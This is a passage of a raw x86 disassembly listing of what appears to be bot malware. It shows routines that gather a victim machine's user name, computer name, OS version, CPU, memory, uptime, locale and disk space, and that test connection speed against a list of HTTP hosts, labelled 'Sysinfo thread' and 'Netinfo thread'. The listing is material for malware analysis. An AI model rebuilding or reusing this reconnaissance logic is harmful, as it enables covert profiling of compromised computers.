[ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call dword_41709C ; Sleep call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset off_419100 push [ebp+arg_0] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083AD proc near ; DATA XREF: sub_4087C4+35o var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = dword ptr -73Ch var_738 = dword ptr -738h var_734 = byte ptr -734h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_714 = dword ptr -714h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_708 = byte ptr -708h var_6F0 = dword ptr -6F0h var_6EC = dword ptr -6ECh var_6E8 = dword ptr -6E8h var_6E4 = dword ptr -6E4h var_6E0 = byte ptr -6E0h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = byte ptr -6C8h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = dword ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = byte ptr -50Ch var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_409 = byte ptr -409h var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_6CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_734] push eax call dword_4170C4 ; GlobalMemoryStatus mov eax, [ebp+var_72C] add eax, 100000h shr eax, 14h mov [ebp+var_6F0], eax mov eax, [ebp+var_728] add eax, 100000h shr eax, 14h mov [ebp+var_738], eax call sub_4092A4 mov [ebp+var_714], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_6E8], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_524], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_6E4], eax mov [ebp+var_8], 15h mov [ebp+var_6D0], 10h lea eax, [ebp+var_8] push eax lea eax, [ebp+var_708] push eax call dword_417018 ; GetUserNameA lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_6E0] push eax call dword_417078 ; GetComputerNameA mov [ebp+var_520], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_51C] rep stosd lea eax, [ebp+var_520] push eax call dword_417030 ; GetVersionExA mov [ebp+var_48C], offset a? ; "?" mov [ebp+var_710], offset aNoSp ; "no SP" cmp [ebp+var_51C], 4 jnz short loc_408522 cmp [ebp+var_518], 0 jnz short loc_408522 cmp [ebp+var_510], 1 jnz short loc_40850A mov [ebp+var_48C], offset a95 ; "95" loc_40850A: ; CODE XREF: sub_4083AD+151j cmp [ebp+var_510], 2 jnz short loc_40851D mov [ebp+var_48C], offset aNt ; "NT" loc_40851D: ; CODE XREF: sub_4083AD+164j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: sub_4083AD+13Fj ; sub_4083AD+148j cmp [ebp+var_51C], 4 jnz short loc_408540 cmp [ebp+var_518], 0Ah jnz short loc_408540 mov [ebp+var_48C], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: sub_4083AD+17Cj ; sub_4083AD+185j cmp [ebp+var_51C], 4 jnz short loc_40855E cmp [ebp+var_518], 5Ah jnz short loc_40855E mov [ebp+var_48C], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: sub_4083AD+19Aj ; sub_4083AD+1A3j cmp [ebp+var_51C], 5 jnz short loc_40857C cmp [ebp+var_518], 0 jnz short loc_40857C mov [ebp+var_48C], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: sub_4083AD+1B8j ; sub_4083AD+1C1j cmp [ebp+var_51C], 5 jnz short loc_40859A cmp [ebp+var_518], 1 jnz short loc_40859A mov [ebp+var_48C], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: sub_4083AD+1D6j ; sub_4083AD+1DFj cmp [ebp+var_51C], 5 jnz short loc_4085B6 cmp [ebp+var_518], 2 jnz short loc_4085B6 mov [ebp+var_48C], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj ; sub_4083AD+191j ... cmp [ebp+var_510], 2 jnz short loc_4085D6 movsx eax, [ebp+var_50C] test eax, eax jz short loc_4085D6 lea eax, [ebp+var_50C] mov [ebp+var_710], eax loc_4085D6: ; CODE XREF: sub_4083AD+210j ; sub_4083AD+21Bj call sub_40435B test eax, eax jz short loc_4085EB mov [ebp+var_744], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_4083AD+230j mov [ebp+var_744], offset aNo ; "No" loc_4085F5: ; CODE XREF: sub_4083AD+23Cj mov eax, [ebp+var_744] mov [ebp+var_4], eax and [ebp+var_47C], 0 and [ebp+var_409], 0 xor eax, eax cpuid mov [ebp+var_488], ebx mov [ebp+var_484], edx mov [ebp+var_480], ecx lea eax, [ebp+var_488] mov [ebp+var_6EC], eax and [ebp+var_70C], 0 lea eax, [ebp+var_70C] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_4086B3 and [ebp+var_73C], 0 mov [ebp+var_740], 80h lea eax, [ebp+var_740] push eax lea eax, [ebp+var_488] push eax lea eax, [ebp+var_73C] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push [ebp+var_70C] call dword_41700C ; RegQueryValueExA test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp+var_488] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: sub_4083AD+2E5j push [ebp+var_70C] call dword_417028 ; RegCloseKey loc_4086B3: ; CODE XREF: sub_4083AD+2A8j cmp [ebp+var_6E4], 1 jnz short loc_4086C8 mov [ebp+var_748], offset byte_41DE00 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: sub_4083AD+30Dj mov [ebp+var_748], offset dword_4191F4 loc_4086D2: ; CODE XREF: sub_4083AD+319j cmp [ebp+var_524], 1 jnz short loc_4086E7 mov [ebp+var_74C], offset byte_41DE00 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: sub_4083AD+32Cj mov [ebp+var_74C], offset dword_4191F4 loc_4086F1: ; CODE XREF: sub_4083AD+338j cmp [ebp+var_6E8], 1 jnz short loc_408706 mov [ebp+var_750], offset byte_41DE00 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: sub_4083AD+34Bj mov [ebp+var_750], offset dword_4191F4 loc_408710: ; CODE XREF: sub_4083AD+357j lea eax, [ebp+var_708] push eax lea eax, [ebp+var_6E0] push eax push [ebp+var_748] push [ebp+var_6E4] push [ebp+var_74C] push [ebp+var_524] push [ebp+var_750] push [ebp+var_6E8] push [ebp+var_4] push [ebp+var_6F0] push [ebp+var_738] call sub_40821B push eax push [ebp+var_6EC] push [ebp+var_514] push [ebp+var_518] push [ebp+var_51C] push [ebp+var_710] push [ebp+var_48C] push offset dword_419104 push 400h lea eax, [ebp+var_408] push eax call sub_416BAE ; _snprintf add esp, 54h lea eax, [ebp+var_408] push eax push offset dword_418B64 lea eax, [ebp+var_6C8] push eax call sub_40D53F add esp, 0Ch push [ebp+var_6CC] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_4083AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset sub_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 ; clock sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: sub_408B30+1C2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset dword_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset dword_418F84 call sub_408808 pop ecx mov [ebp+var_C], eax push offset dword_418F90 call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 ; clock mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 ; clock sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 ; clock sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv flt_417270 fdivr [ebp+var_430] call sub_416CF8 ; _ftol mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B30 proc near ; DATA XREF: sub_408E4A+35o var_A9C = qword ptr -0A9Ch var_A7C = qword ptr -0A7Ch var_A74 = dword ptr -0A74h var_A70 = dword ptr -0A70h var_A6C = dword ptr -0A6Ch var_A68 = dword ptr -0A68h var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_8B8 = dword ptr -8B8h var_8B4 = dword ptr -8B4h var_8B0 = byte ptr -8B0h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = byte ptr -814h var_414 = byte ptr -414h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push [ebp+arg_0] lea eax, [ebp+var_A60] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset dword_41EF18 lea eax, [ebp+var_414] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_824] push eax push 0 push 0 push offset dword_41EF18 call dword_41DE54 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp+var_414] push eax mov eax, [ebp+var_824] push dword ptr [eax+10h] mov eax, [ebp+var_824] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo push [ebp+var_824] call dword_41DE5C ; freeaddrinfo loc_408BBC: ; CODE XREF: sub_408B30+54j call sub_409318 mov [ebp+var_8B8], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_830], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_820], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_82C], eax push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_8B0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp dword_41DE4C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_818] push eax call dword_41DE4C ; InternetGetConnectedStateEx test eax, eax jz short loc_408C9F mov eax, [ebp+var_818] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: sub_408B30+14Bj push offset aLan ; "LAN" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408C9F: ; CODE XREF: sub_408B30+11Fj ; sub_408B30+13Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov [ebp+var_A64], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: sub_408B30+176j mov [ebp+var_A64], offset aNo ; "No" loc_408CBE: ; CODE XREF: sub_408B30+182j mov eax, [ebp+var_A64] mov [ebp+var_8], eax call sub_404279 test eax, eax jz short loc_408CDC mov [ebp+var_A68], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: sub_408B30+19Ej mov [ebp+var_A68], offset aNo ; "No" loc_408CE6: ; CODE XREF: sub_408B30+1AAj mov eax, [ebp+var_A68] mov [ebp+var_8B4], eax call sub_408887 mov [ebp+var_828], eax mov [ebp+var_81C], offset aBad ; "Bad" cmp [ebp+var_828], 2EEh jnb short loc_408D1D mov [ebp+var_81C], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: sub_408B30+1E1j cmp [ebp+var_828], 1F4h jnb short loc_408D33 mov [ebp+var_81C], offset aGood ; "Good" loc_408D33: ; CODE XREF: sub_408B30+1F7j call sub_4088FC mov [ebp+var_4], eax cmp [ebp+var_82C], 1 jnz short loc_408D50 mov [ebp+var_A6C], offset byte_41DE00 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: sub_408B30+212j mov [ebp+var_A6C], offset dword_4191F4 loc_408D5A: ; CODE XREF: sub_408B30+21Ej cmp [ebp+var_820], 1 jnz short loc_408D6F mov [ebp+var_A70], offset byte_41DE00 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: sub_408B30+231j mov [ebp+var_A70], offset dword_4191F4 loc_408D79: ; CODE XREF: sub_408B30+23Dj cmp [ebp+var_830], 1 jnz short loc_408D8E mov [ebp+var_A74], offset byte_41DE00 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: sub_408B30+250j mov [ebp+var_A74], offset dword_4191F4 loc_408D98: ; CODE XREF: sub_408B30+25Cj push [ebp+var_A6C] push [ebp+var_82C] push [ebp+var_A70] push [ebp+var_820] push [ebp+var_A74] push [ebp+var_830] mov eax, [ebp+var_4] mov dword ptr [ebp+var_A7C], eax and dword ptr [ebp+var_A7C+4], 0 fild [ebp+var_A7C] fdiv flt_417274 push ecx push ecx fstp [esp+0A9Ch+var_A9C] push [ebp+var_828] push [ebp+var_81C] push [ebp+var_8B4] push [ebp+var_8] lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_414] push eax push offset dword_419284 push 400h lea eax, [ebp+var_814] push eax call sub_416BAE ; _snprintf add esp, 48h lea eax, [ebp+var_814] push eax push offset dword_418B64 lea eax, [ebp+var_A5C] push eax call sub_40D53F add esp, 0Ch push [ebp+var_A60] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_408B30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push [ebp+var_4] push offset sub_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; sub_408E8E+2Dj mov al, byte ptr [ebp+var_1C] add al, 1 mov byte ptr [ebp+var_1C], al movsx 